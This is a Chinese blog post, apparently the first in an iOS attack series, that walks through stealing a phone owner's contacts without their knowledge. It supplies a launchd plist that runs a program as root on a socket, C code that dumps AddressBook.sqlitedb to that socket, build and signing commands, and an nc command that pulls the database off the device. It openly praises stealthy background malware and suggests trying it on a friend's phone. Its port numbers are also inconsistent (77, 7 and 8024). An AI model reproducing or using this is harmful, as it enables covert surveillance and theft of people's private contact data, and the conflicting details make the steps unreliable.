iOS 安全攻防系列(一):获取手机联系人

上一篇我们编了一个HelloWorld程序,并且手动运行成功

但是我们写个程序不可能就去别人手机上打印一个HelloWorld吧。这篇就来介绍如何获取手机联系人。

要获取用户的手机联系人,总不能大摇大摆的在用户手机上运行一个app吧,那要如何在用户不知不觉的情况下获取到用户的手机联系人呢。这就需要用到守护进程。

守护进程是指在后台运行的程序,不直接由用户控制。对于攻击者来说将代码守护花的好处非常多。运行在后台的恶意代码可以偷偷的窃取数据,而不会被用户发觉。也可以连接到一台控制服务器等待指令。这种恶意代码感染方法的好处是。不需要用户启动一个应用软件或者执行其他任何任务就可以气动攻击。这不正是我们需要的么。

要在iOS的后台启动一个进程,那就要了解iOS的进程管理。

所有的iOS设备都通过Launchd 来启动或者停止服务。进程的管理方法取决于一个Launchd 的清单文件,后者定义了进程启动和停止的条件和方法。

# ls /System/Library/LaunchDaemons/

bootps.plist                          com.apple.mDNSResponder.plist

com.apple.CrashHousekeeping.plist     com.apple.mobile.softwareupdated.plist__

com.apple.MobileFileIntegrity.plist   com.apple.softwareupdateservicesd.plist__

com.apple.jetsamproperties.N94.plist 


然后我们自己来为自己的程序写一个清单文件

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>ProgramArguments</key>
<array>
<string>/usr/bin/helloworld</string>
</array>
<key>Program</key>
<string>/usr/bin/helloworld</string>
<key>Label</key>
<string>com.yourdomain.helloworld</string>
<key>SessionCreate</key>
<true/>
<key>Sockets</key>
<dict>
<key>Listeners</key>
<dict>
<key>SocketServiceName</key>
<string>77</string>
</dict>
</dict>
<key>StandardErrorPath</key>
<string>/dev/null</string>
<key>inetdCompatibility</key>
<dict>
<key>Wait</key>
<false/>
</dict>
</dict>
</plist>


以上定义了HelloWorld 程序的Launchd 的清单文件。

然后将这个文件拷贝 到 /System/Library/LaunchDaemons/   目录下

# launchctl load /Library/LaunchDaemons/com.yourdomain.helloworld.plist 

/Library/LaunchDaemons/com.yourdomain.helloworld.plist: Operation already in progress

使用这个命令来启动它。 

$telnet 192.168.2.15 77 可以看看会有什么情况

当一个用户从端口7 连接的时候,清单文件的内容会作为root 用户来运行这个helloworld 程序 ,并将其输入输出重定向到连接的socket上,而不是标准输入输出。不过简单的打印一行helloworld 也太无聊了,哪有人把iOS设备黑掉就是为了说一句HelloWorld呢。你可以在你的朋友手机上试试。攻击者可不这么无聊。来看点实际用处。获取联系人。

#include <stdio.h>

#include <fcntl.h>

#include <stdlib.h>

#include <unistd.h>

#define FILE "/var/mobile/Library/AddressBook/AddressBook.sqlitedb"

int main(){

    int fd = open(FILE, O_RDONLY);

    char buff[128];

    size_t nr;

    if (fd < 0) {

        exit(-1);

    }

    while ((nr = read(fd,buff,sizeof(buff))) > 0) {

        write(fileno(stdout),buff,nr);

    }

}


编译

$clang -arch armv7 -isysroot `xcrun --sdk iphoneos --show-sdk-path` -o helloworld helloworld.c


把二级制文件拷贝到/usr/bin/helloworld 中

签名

#ldid -S helloworld


$nc 192.168.2.15 8024 > AddressBook.sqlitedb

好了,拿个工具打开AddressBook.sqlitedb看看吧


  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值